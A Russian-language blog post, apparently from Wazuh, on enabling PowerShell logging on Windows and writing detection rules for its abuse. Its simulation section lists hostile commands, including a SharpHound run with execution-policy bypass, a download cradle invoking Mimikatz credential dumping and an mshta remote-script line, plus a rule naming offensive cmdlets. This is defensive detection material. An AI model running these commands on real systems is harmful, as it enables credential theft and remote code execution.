Обнаружение эксплуатации PowerShell в Windows с помощью Wazuh

PowerShell – это инструмент, широко используемый для управления конечными точками Windows. Его универсальность делает его ключевым ресурсом для администраторов, позволяющим им контролировать различные функции системы, автоматизировать рабочие процессы и эффективно управлять конфигурациями. Возможности создания сценариев PowerShell позволяют пользователям выполнять задачи, которые в противном случае потребовали бы нескольких шагов вручную, экономя время и уменьшая вероятность человеческих ошибок.

Однако те же функции, которые делают PowerShell ценным, также представляют риски для безопасности. Злоумышленники используют PowerShell для совершения вредоносных действий, поскольку он может выполнять команды непосредственно на конечной точке. PowerShell использовали для запуска вредоносного программного обеспечения, загрузки опасных компонентов и похищения конфиденциальных данных, часто без активации традиционных антивирусных средств. Мониторинг использования PowerShell и обеспечение выполнения только авторизованных действий важны для предотвращения злоупотреблений и защиты конечных точек от этих угроз.

Фреймворк MITRE ATT&CK описывает различные техники, которые злоумышленники используют для злоупотребления PowerShell. В этом блоге рассказывается, как с помощью Wazuh можно обнаружить техники злоупотребления PowerShell на конечных точках Windows.

Требования

Использована следующая инфраструктура, чтобы продемонстрировать обнаружение методов злоупотребления PowerShell на конечных точках Windows с помощью Wazuh:

  • Центральные компоненты последней доступной версии Wazuh (сервер Wazuh, индексатор Wazuh, информационная панель Wazuh), установленные с помощью «руководства по быстрому старту» на сервере Ubuntu.
  • Конечная точка Windows 11. На этой конечной точке установлен агент Wazuh, который зарегистрирован на сервере Wazuh.

Конфигурация

Чтобы обнаружить злоупотребления PowerShell, вам необходимо включить и собирать журналы PowerShell на контролируемой конечной точке Windows и создать специальные правила. В этом разделе описано, как настроить необходимые компоненты для обнаружения злоупотреблений PowerShell.

Конечная точка Windows

Необходимо выполнить следующие действия, чтобы настроить агент Wazuh для сбора журналов из PowerShell.

1. Открыть PowerShell от имени администратора и выполнить приведенные ниже команды, чтобы включить ведение журналов PowerShell. Это позволяет подробно вести журналы в PowerShell, поскольку Windows не собирает подробную информацию о выполненных командах в PowerShell по умолчанию из-за увеличения использования системных ресурсов и требований к памяти:

> function Enable-PSLogging {
    # Define registry paths for ScriptBlockLogging and ModuleLogging
    $scriptBlockPath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
    $moduleLoggingPath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
    
    # Enable Script Block Logging
    if (-not (Test-Path $scriptBlockPath)) {
        $null = New-Item $scriptBlockPath -Force
    }
    Set-ItemProperty -Path $scriptBlockPath -Name EnableScriptBlockLogging -Value 1

    # Enable Module Logging
    if (-not (Test-Path $moduleLoggingPath)) {
        $null = New-Item $moduleLoggingPath -Force
    }
    Set-ItemProperty -Path $moduleLoggingPath -Name EnableModuleLogging -Value 1
    
    # Specify modules to log - set to all (*) for comprehensive logging
    $moduleNames = @('*')  # To specify individual modules, replace * with module names in the array
    New-ItemProperty -Path $moduleLoggingPath -Name ModuleNames -PropertyType MultiString -Value $moduleNames -Force

    Write-Output "Script Block Logging and Module Logging have been enabled."
}

Enable-PSLogging

Ожидаемый результат выглядит так:

Script Block Logging and Module Logging have been enabled.

2. Добавить следующую конфигурацию в блок <ossec_config> файла C:\Program Files (x86)\ossec-agent\ossec.conf, чтобы пересылать журналы PowerShell на сервер Wazuh для анализа:

<localfile>
  <location>Microsoft-Windows-PowerShell/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>

3. Перезапустить агент Wazuh, чтобы применить изменения конфигурации:

> Restart-Service -Name wazuh

Сервер Wazuh

Необходимо выполнить следующие шаги на сервере Wazuh, чтобы создать собственные правила для мониторинга интересующих событий PowerShell.

1. Добавить следующие специальные правила в файл правил /var/ossec/etc/rules/local_rules.xml:

<group name="windows,powershell,">

  <rule id="100201" level="8">
    <if_sid>60009</if_sid>
    <field name="win.eventdata.payload" type="pcre2">(?i)CommandInvocation</field>
    <field name="win.system.message" type="pcre2">(?i)EncodedCommand|FromBase64String|EncodedArguments|-e\b|-enco\b|-en\b</field>
    <description>Encoded command executed via PowerShell.</description>
    <mitre>
      <id>T1059.001</id>
      <id>T1562.001</id>
    </mitre>
  </rule>
  
  <rule id="100202" level="4">
    <if_sid>60009</if_sid>
    <field name="win.system.message" type="pcre2">(?i)blocked by your antivirus software</field>
    <description>Windows Security blocked malicious command executed via PowerShell.</description>
    <mitre>
      <id>T1059.001</id>  
    </mitre>
  </rule>

  <rule id="100203" level="10">
    <if_sid>60009</if_sid>
    <field name="win.eventdata.payload" type="pcre2">(?i)CommandInvocation</field>    
    <field name="win.system.message" type="pcre2">(?i)Add-Persistence|Find-AVSignature|Get-GPPAutologon|Get-GPPPassword|Get-HttpStatus|Get-Keystrokes|Get-SecurityPackages|Get-TimedScreenshot|Get-VaultCredential|Get-VolumeShadowCopy|Install-SSP|Invoke-CredentialInjection|Invoke-DllInjection|Invoke-Mimikatz|Invoke-NinjaCopy|Invoke-Portscan|Invoke-ReflectivePEInjection|Invoke-ReverseDnsLookup|Invoke-Shellcode|Invoke-TokenManipulation|Invoke-WmiCommand|Mount-VolumeShadowCopy|New-ElevatedPersistenceOption|New-UserPersistenceOption|New-VolumeShadowCopy|Out-CompressedDll|Out-EncodedCommand|Out-EncryptedScript|Out-Minidump|PowerUp|PowerView|Remove-Comments|Remove-VolumeShadowCopy|Set-CriticalProcess|Set-MasterBootRecord</field>
    <description>Risky CMDLet executed. Possible malicious activity detected.</description>
    <mitre>
      <id>T1059.001</id>  
    </mitre>
  </rule>

  <rule id="100204" level="8">
    <if_sid>91802</if_sid>
    <field name="win.eventdata.scriptBlockText" type="pcre2">(?i)mshta.*GetObject|mshta.*new ActiveXObject</field>
    <description>Mshta used to download a file. Possible malicious activity detected.</description>
    <mitre>
      <id>T1059.001</id>  
    </mitre>
  </rule>

  <rule id="100205" level="5">
    <if_sid>60009</if_sid>
    <field name="win.eventdata.contextInfo" type="pcre2">(?i)ExecutionPolicy bypass|exec bypass</field>
    <description>PowerShell execution policy set to bypass.</description>
    <mitre>
      <id>T1059.001</id>
    </mitre>
  </rule>

  <rule id="100206" level="5">
    <if_sid>60009</if_sid>
    <field name="win.eventdata.contextInfo" type="pcre2">(?i)Invoke-WebRequest|IWR.*-url|IWR.*-InFile</field>
    <description>Invoke Webrequest executed, possible download cradle detected.</description>
    <mitre>
      <id>T1059.001</id>
    </mitre>
  </rule>

</group>

Где:

  • Правило с ID 100201 определяет, когда зашифрованная команда выполняется через PowerShell.
  • Правило с ID 100202 оповещает, когда система безопасности Windows блокирует пользователю возможность выполнять вредоносные команды.
  • Правило с ID 100203 обнаруживает выполнение команд с использованием инструментов, содержащих известные вредоносные cmdlet-команды.
  • Правило с ID 100204 определяет, когда Mshta используется для загрузки и выполнения файла.
  • Правило с ID 100205 обнаруживает выполнение скрипта с политикой выполнения, установленной на «bypass».
  • Правило с ID 100206 обнаруживает возможную загрузку через скрипт, где используется команда invoke-webrequest для загрузки файла.

2. Перезапустить менеджер Wazuh, чтобы применить изменения конфигурации:

# systemctl restart wazuh-manager

Воспроизведение атаки

Правила обнаружения тестируются с помощью приведенных ниже тестов для подтехник PowerShell в рамках техники MITRE Command and Scripting Interpreter.

Выполнение вредоносных команд

Злоумышленники злоупотребляют PowerShell для запуска вредоносных команд на конечной точке. Это злоупотребление может включать манипулирование системными процессами и кражу конфиденциальной информации. Злоумышленники предпочитают PowerShell, поскольку он может выполнять команды непосредственно в памяти, обходя меры безопасности на основе файлов и уменьшая обнаружение традиционными антивирусными программами. Wazuh содержит несколько стандартных правил для обнаружения выполнения вредоносных команд.

В этом примере PowerShell используется для вызова SharpHound. SharpHound – это вредоносный инструмент, который может собирать важную информацию о конечной точке. Необходимо выполнить следующую команду, чтобы имитировать вызов SharpHound:

> curl "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/refs/heads/master/Collectors/SharpHound.ps1" -o SharpHound.ps1
> powershell -ep bypass .\sharphound.ps1 --collectionmethod all

Во время выполнения команд, вызывающих SharpHound, на информационной панели появляются следующие уведомления.

powershell-sharphound

Windows Security также обнаруживает выполнение определенных вредоносных команд. По умолчанию Windows Security блокирует выполнение этих команд. В этом примере предпринимается попытка использовать вредоносный инструмент Mimikatz для снятия учетных данных на конечной точке с помощью такой команды:

> powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"

Попытку блокирует Windows Security, и на информационной панели отображается следующее уведомление.

powershell-windows-security

Загрузка и выполнение файлов

Download cradle – это метод, используемый для загрузки и выполнения внешних скриптов или вредоносных компонентов непосредственно из Интернета или других внешних источников. Download cradle является популярным способом злоупотребления PowerShell. Этот метод обеспечивает бесперебойное получение и выполнение вредоносного содержимого за один шаг, часто в обход традиционных средств безопасности на основе файлов.

Необходимо выполнить приведенную ниже команду, чтобы загрузить и выполнить тестовый файл вредоносного программного обеспечения EICAR. Это запустит стандартное правило:

> powershell -Command "IEX(New-Object Net.WebClient).DownloadString('https://secure.eicar.org/eicar.com.txt -OutFile eicar;.\eicar')"

Во время выполнения команды на информационной панели появляется следующее уведомление.

alert-dashboard

Еще один способ вызвать download cradle – использовать команду Invoke-Webrequest. Злоумышленник может загрузить и выполнить вредоносный компонент с помощью этого метода. Чтобы смоделировать эту активность, необходимо выполнить следующую команду:

> Invoke-WebRequest https://secure.eicar.org/eicar.com.txt -OutFile eicar;.\eicar

Во время выполнения команды на информационной панели появляется следующее уведомление.

dashboard-command-executed

Обфускация и избежание обнаружения

Обфусцированные команды являются распространенной тактикой, используемой злоумышленниками для сокрытия истинного назначения своих скриптов и обхода обнаружения средствами безопасности. Кодирование команд может позволить вредоносным скриптам избежать обнаружения при выполнении опасных операций, таких как кража данных или загрузка дополнительных вредоносных компонентов.

Чтобы выполнить команду с помощью флажка EncodedCommand, необходимо сделать следующее действие. Этот пример команды печатает Hello World на экране:

> powershell.exe -EncodedCommand "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAEgAZQBsAGwAbwAgAFcAbwByAGwAZAAiAA=="

Во время выполнения команды на информационной панели появляется следующее оповещение.

wazuh-dashboard

Злоумышленники также могут использовать обход политики выполнения PowerShell для вредоносных целей и выполнения несанкционированных скриптов. Используя -ExecutionPolicy Bypass (или его варианты, например, exec bypass), злоумышленники могут обойти ограничения, предотвращающие выполнение скриптов, позволяя им развертывать вредоносные компоненты. Этот метод позволяет запускать неподписанные или ограниченные скрипты на конечной точке без ограничений.

Необходимо выполнить приведенные ниже команды, чтобы имитировать угрозу, используя обход выполнения для запуска сценариев:

> echo "whoami" > "C:\Program Files (x86)\ossec-agent\active-response\bin\test.ps1"
> Powershell -ExecutionPolicy bypass -File "C:\Program Files (x86)\ossec-agent\active-response\bin\test.ps1"

На информационной панели отображается следующее уведомление.

powershell-following-alert

Использование легитимных инструментов

Техники «Living off the land» (LOTL) заключаются в использовании встроенных легитимных инструментов для выполнения вредоносных команд, что уменьшает необходимость загрузки нового вредоносного программного обеспечения и снижает риск обнаружения. Злоумышленники часто эксплуатируют подписанные Microsoft двоичные файлы, такие как mshta.exe, который предназначен для выполнения Microsoft HTML-приложений. Используя mshta.exe, злоумышленник может запускать вредоносные JavaScript или VBScript непосредственно из URL-адреса или встроенного скрипта, что позволяет загружать и выполнять вредоносные компоненты. Такой подход позволяет злоумышленникам «сливаться» с обычной активностью конечной точки, что затрудняет обнаружение этих операций средствами безопасности.

Необходимо выполнить команду ниже, чтобы имитировать атаку LOTL. Ее пытается выполнить файл JavaScript непосредственно из URL-адреса:

> mshta.exe "javascript:a=GetObject('script:#{url}').Exec();close()"

Во время выполнения команды на информационной панели появляется следующее оповещение.

powershell-exploitation-techniques-windows-dashboard

Заключение

PowerShell – это мощный инструмент на конечных точках Windows, который системные администраторы используют для управления и автоматизации различных задач. Злоумышленники могут злоупотреблять PowerShell для запуска вредоносных команд на конечной точке и иногда успешно уклоняться от обнаружения. В этом посте показано, как включить аудит PowerShell и как использовать Wazuh для обнаружения некоторых методов эксплуатации PowerShell.

Подписаться на новости